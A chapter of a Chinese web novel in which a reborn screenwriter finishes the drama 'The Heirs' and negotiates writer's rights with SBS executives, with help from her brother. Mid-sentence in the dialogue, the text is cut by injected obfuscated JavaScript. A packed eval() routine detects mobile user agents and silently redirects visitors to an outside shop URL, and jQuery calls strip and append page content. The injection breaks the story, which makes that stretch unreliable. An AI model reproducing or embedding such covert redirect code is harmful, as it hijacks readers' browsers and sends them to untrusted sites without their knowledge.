练习室里的音乐还在单曲循环，防弹的七个人像上了发条一样对着镜子重复同一组动作，她看了一会儿，又低头看了眼手机上的日历。数了数，离他们正式出道的日子已经没几天了。
金幼真没有多待。她在群里发了条消息，说今天点的炸鸡放在休息室了，让大家记得趁热吃。发完就轻手轻脚退了出去，把练习室的门在身后轻轻带上。
她还有自己的事要做。
回到公寓时夕阳刚好落满客厅，金幼真给自己做了杯拿铁，坐在书桌前把《继承者们》的终稿从头到尾捋了一遍。从金叹在美国海滩的出场，到车恩尚最后站在海边的收尾，一集一集顺下来，台词、分镜、人物弧光，每一处都照着记忆里的爆款模样打磨妥帖。
从上辈子开始，这部剧就刻在她脑子里，每一句台词每一个镜头都熟到骨子里。可真正一字一句写出来时她还是会想，在这个时空里，金叹和车恩尚，会长成什么样子呢？
她不知道，但很快就能看到了。
她打开IG，拍了一张文档完结的截图发出去，配文简单：完结撒花。
刚发出去没两秒，哥哥的点赞就跳了出来。紧接着电话打进来，语气里带着笑：“终于完成啦，wuli金作家。已经打过招呼了，直接递到SBS，那边会加急审核，很快就给回信。”
金幼真嘴角已经翘起来了：“谢谢哥。”
“跟哥还客气。”
挂断电话，她把文档分门别类整理好，刚放下手机，三人群就弹了新消息。郑号锡发了张七个人围着炸鸡盒的合影，后面跟了一长串感叹号：「炸鸡收到了！全体起立！金编剧万岁！」
她弯着眼睛回了个 [fighting，出道了请你们吃大餐！]，关掉对话框，指尖轻轻敲了敲电脑上的剧本封面。
第一步，已经稳稳踏出去了。
两天后。
金幼真正窝在沙发上刷舞台直拍，屏幕上方弹出一串陌生号码。
她挑了挑眉，划开接听键。
“请问是金幼真编剧 nim 吗？”
“内。”
“我是 SBS 电视剧部门的朴善宇组长，您的剧本《继承者们》我们内部已经评审完毕，整体非常满意。想约您明天上午来电视台面谈，聊聊项目启动的细节，请问您方便吗？”
金幼真愣了半秒。
她当然知道这部剧会过。上辈子火遍全亚洲的现象级爆款，没理由不过。
但这么快接到正式邀约，还是比她预想的早了些。
“方便的，” 她很快回神，语气平稳，“明天上午我准时到。”
挂了电话还维持着端坐的姿势，三秒后才往后一瘫，抱着靠枕蹬了蹬腿。
意料之中，却还是忍不住开心。
她先点开和哥哥金幼贤的对话框，敲了行字发过去：[哥，SBS 来电话了！明天上午去台里谈立项细节！]
这会儿美国那边是晚上，她本以为要等天亮才有人回，结果视频电话直接打了过来。
接起来，屏幕里的男人靠在办公椅上，穿着件休闲衬衫，背景是落地窗外洛杉矶的夜景，一看就是还在加班。桌角摊着半开的装订文件，封面上隐约能看见 “韩国文娱产业分析” 几个字。金幼贤挑了挑眉，嘴角带着点笑：“效率还挺快，我还以为至少要等一周。”
“那必须，也不看是谁写的本子。” 金幼真把手机支在果盘边，盘腿坐进沙发里，语气带着点小得意，“不过也多亏哥你打了招呼，不然按 SBS 的常规审稿速度，指不定要蹲到什么时候。”
她倒也没有 “非要白手起家证明自己” 的矫情念头。金家做了几十年投资，攒下的人脉和资源本来就是底气，能用为什么不用？打招呼只是让本子被优先看见、跳过无效等待，至于能不能过审、能不能被当成重点项目，终究还是看内容本身。
“也就是打了声招呼，让他们优先看你的本子，省点无用的等待。” 金幼贤失笑，指尖无意识敲了敲桌面那份分析报告，“能让朴善宇追着问编剧背景，全靠你剧本好。李理事说内部审片会全票通过，好几个策划组都在抢这个项目。”
他说着收了点笑意，正经起来：“明天过去别紧张，朴善宇是 SBS 出了名的务实派。你只需守住剧本核心修改权，选角你有想法就提，不用怕新人身份压不住人，好剧本就是你最大的底气。”
金幼真听得认真，指尖在沙发垫上轻轻点着，默默把要点记在心里。
“真拿不准就给我打电话。” 金幼贤看着镜头里的妹妹，语气又软下来，“也别太紧张。谈不拢哥给你想办法。咱家的本子，用不着看人脸色。”
“知道啦知道啦。” 金幼真弯着眼睛笑，梨涡浅浅的，“你别总把我当小孩，我心里有数。再说了，也不至于谈不拢，我对本子有信心。”
“在我这儿你永远是小孩。” 金幼贤揉了揉眉心，眼底带着点加班后的疲惫，却还是耐心叮嘱，“明天结束了第一时间跟我说。首尔这边的人我都打好招呼了，有事直接找电视剧部门李理事。”
“嗯！”
金幼真的目光扫过他桌角那份整整齐齐的行业报告，心里暖烘烘的。
她太清楚自家的生意版图了。金氏投资集团主业铺在全球科技和消费赛道，爸爸早年押中互联网风口，阿里、腾讯、苹果全是早期入局，哥哥这些年主抓海外与中国市场，天天盯的都是财报、估值、IPO，文娱板块从来不是集团的重点，他自己更是不看韩剧。
不用想也知道，什么 SBS 电视剧部的李理事、朴善宇的行事风格，甚至韩剧制作的流程门道，全是他为了自己，特意抽时间去摸清楚、去搭的人脉。
她深吸一口气，拍了拍脸颊。
哥哥都这么给力了，明天的谈判，当然要谈得漂漂亮亮的。
第二天上午九点半，金幼真准时站在了 SBS 电视台大楼前。
她穿了件米白色真丝衬衫，配高腰烟灰色直筒西裤，长发松松挽成低马尾，耳坠是小巧的珍珠款，清爽利落又不失正式。玻璃幕墙映出她的影子，她抬手理了理衬衫领口，在心里给自己打气。
怕什么，上辈子刷了八百遍的剧，剧情节奏人物弧光她闭着眼都能摸清楚。论对这个剧本的理解，全韩国没人比得过她。
前台引着她往电视剧部走，走廊里人来人往，抱着文件的工作人员步履匆匆，墙上贴满了待播剧的海报。金幼真扫了一眼，果然看到了《主君的太阳》的宣传版，心里默默算了算档期，如果接档这部剧，刚好能接住水木档的高底盘收视。
朴善宇已经在办公室门口等她了。中年男人穿着藏青色西装，戴着细框眼镜，看着温和却眼神锐利，看见她时脸上露出标准的职业笑容，主动伸手：“金编剧，久仰。快请进。”
“朴组长客气了。” 金幼真伸手交握。
进了办公室，里面还坐着位穿正装的女士，是项目企划安美珍。三人坐定，助理端了水进来，朴善宇没绕弯子，开门见山：“金编剧nim，今天请您过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894789|212825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，主要是把《继承者们》的启动细节定下来。台里立项流程已经走完了，内部定位是下半年水木档的重点项目，资源上不会亏待。”
他推过来一份企划案：“首先是制作班底。导演初步定了姜信孝导演，他之前的《城市猎人》收视口碑双爆，擅长拍快节奏情感戏，群像把控能力也强。您之前了解过吗？”
金幼真翻开企划案，指尖在姜信孝的名字上顿了顿，心里暗道一句 “果然是他”，面上却不动声色：“姜导的作品我看过。他的镜头语言很有质感，更难得的是他拍群像不工具人，每个配角都有自己的存在感 —— 这点对《继承者们》很重要。这部剧不是单一的男女主恋爱线，是财阀高中的众生相，每个孩子都有自己的困境和成长线，需要导演能 hold 住多线叙事。”
朴善宇和安美珍对视一眼，都从对方眼里看到了意外。他们本以为大二学生写剧本全靠灵气，没想到对导演风格、剧集结构理解得这么透彻，完全不像新人。
“金编剧说得太对了。” 安美珍笑着接话，“我们选姜导，也是看中他拍群像的能力。”
“第二是档期。” 朴善宇继续道，“计划八月底开机，拍摄周期三个月，十月中旬登陆水木档，接档《主君的太阳》。我们评估过，这个档期的核心受众是 10-30 岁女性，和校园财阀题材匹配度最高；同期竞品以刑侦、家庭剧为主，我们的罗曼史差异化优势很明显。”
金幼真心里轻轻挑了挑眉。
世界线的惯性还真是玄学。兜兜转转，还是落在了十月水木档。
她面上不动声色，点头附和：“档期很合理。十月开学季，校园题材天然有讨论度，很容易引发学生群体的讨论。我没问题。”
安美珍这时接过话头，翻到权责条款页：“金编剧，关于编剧权责，我们的初步方案是这样的——您提交的是全剧完整剧本，故事线完整，人物形象丰满，台里才能这么快敲定立项。您作为第一编剧，拍摄期间每周跟组两天，配合导演做现场台词微调；如果涉及剧情方向的调整，我们一定会提前跟您沟通，充分尊重您的创作初衷。”
金幼真听完，没有急着点头。她翻到合同里跟编剧权责相关的几页，认真看了看，又抬眼看向两人，语气平和但态度明确：“跟组我没问题，开机后可以每天都在现场。但有一点我想先说清楚——我们不是边写边拍，剧本在开机前就是完整的。既然提前定稿了，那核心人设和主线就不能推翻。”
她顿了顿，把话头落回剧本本身。
“金叹的孤独感、车恩尚的韧性，还有每个配角的成长逻辑，是整个故事的根基。如果要调整，我希望是在现在这个阶段提出来，我们开诚布公地聊，哪怕推倒重写某几集都可以。但一旦开机，就不能为了强行制造冲突让人物OOC——比如让车恩尚突然放弃自尊变成恋爱脑，或者让金叹黑化耍手段。这种调整我不能接受。”
“第二，正式拍摄版剧本，需要我签字确认后再下发。现场突发情况需要飞页、调台词可以，改完我得看过确认。”
朴善宇愣了一下，随即笑了。
他见过太多新人编剧。有唯唯诺诺、台里说什么就是什么的；也有眼高手低、拿着半本大纲就敢寸步不让的。像金幼真这样，交得出完整剧本，又懂得在开拍前把规则讲清楚的，实在少见。分寸感拿捏得恰到好处，清楚自己要守住什么。
“没问题。” 他一口应下，“我们找您，就是认可剧本的完整性。这两点我记下来，合同里会写清楚。”